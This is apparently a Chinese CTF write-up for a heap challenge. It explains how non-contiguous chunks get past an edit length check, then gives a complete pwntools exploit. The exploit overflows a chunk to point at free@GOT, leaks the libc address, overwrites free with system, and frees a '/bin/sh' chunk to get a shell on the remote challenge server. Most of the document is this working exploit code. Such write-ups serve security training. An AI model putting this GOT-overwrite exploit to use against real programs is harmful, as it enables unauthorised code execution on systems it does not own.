libc 下载链接:https://files.buuoj.cn/files/85ee93d92fc553f78f195a133690eef3/libc-2.23.so

简单的增删改查

在 add 中,我们输入 size 创建的 chunk 为 s,固定生成的一个 chunk 为 v3

s 在 v3 内存的上方,后续将 s 的 data 段地址赋值给 v3data 段

将 v3 放入 chunk 管理数组 chunk_s 中

edit 函数中有验证 v3->s+v2 的值于 s 的 size 做比较,如果我们在 v3 和 s 之间添加 chunk 使其不连续即可绕过此检查

add 后的 chunk 如图所示

delete 函数中将 s 清空,未将 v3chunk 清空,存在 uaf,但是这题不用 uaf 也可以写

show 输出 s 和 v3 中的 nam 和 test

edit 就是上面 add 中的修改 test 中使用的

目前我们的思路为:

使 s 和 v3 中有其他 chunk 存在,这样我们就可以绕过 edit 中的检测使其修改到别的 chunk 内容,我们将 free 的地址修改入别的 chunk,再通过 show 输出出来,计算偏移值,再使用 edit 对其修改为 system 函数地址,add 一个 binsh,将其 free 即可获取 sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import * #引用pwntools库
from ctypes import *
from LibcSearcher import *

misaki=0
if misaki:
context(log_level='debug',arch='amd64',os='linux')
else:
context(log_level='debug',arch='i386',os='linux')

ming=1
if ming:
p=remote('pwn.challenge.ctf.show',28158)#pwn.challenge.ctf.show 28206
else:
p=process("./vuln")#配置本地连接:


s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
def m(): gdb.attach(p)

def cmd(x):
rl(b'Action: ')
sl(str(x))
def add(size,length,data):
cmd(0)
rl(b'size of description: ')
sl(str(size))
rl(b'name: ')
sl(b'NAME')
rl(b'text length: ')
sl(str(length))
rl(b'text: ')
sl(data)
def delete(index):
cmd(1)
rl(b'index: ')
sl(str(index))
def show(index):
cmd(2)
rl(b'index: ')
sl(str(index))
def edit(index,length,data):
cmd(3)
rl(b'index: ')
sl(str(index))
rl(b'text length: ')
sl(str(length))
rl(b'text: ')
sl(data)

libc=ELF("./libc-2.23.so")
elf=ELF("./pwn")
##############################################################################################
add(0x80,0x80,b'aaaa') #0
add(0x80,0x80,b'bbbb') #1
add(0x8,0x8,b'/bin/sh\x00') #2
delete(0)

payload=b'a'*0x198+p32(elf.got['free'])
#0x198为3个chunk 0的s+0的v3+ 1的s,我们将1的v3指向s的地址改为我们的free

add(0x10c,0x19c,payload)
#free 0后两个0x80的chunk会合并,0x88*2=0x110 申请0x10c刚好把0的全部申请出来
show(1)

rl(b'description: ')
free_addr=u32(r(4))
print(f'free_addr=',hex(free_addr))
libcbase=free_addr-libc.symbols['free']
system=libcbase+libc.symbols['system']

edit(1,0x4,p32(system))
delete(2)
p.interactive()#与程序交互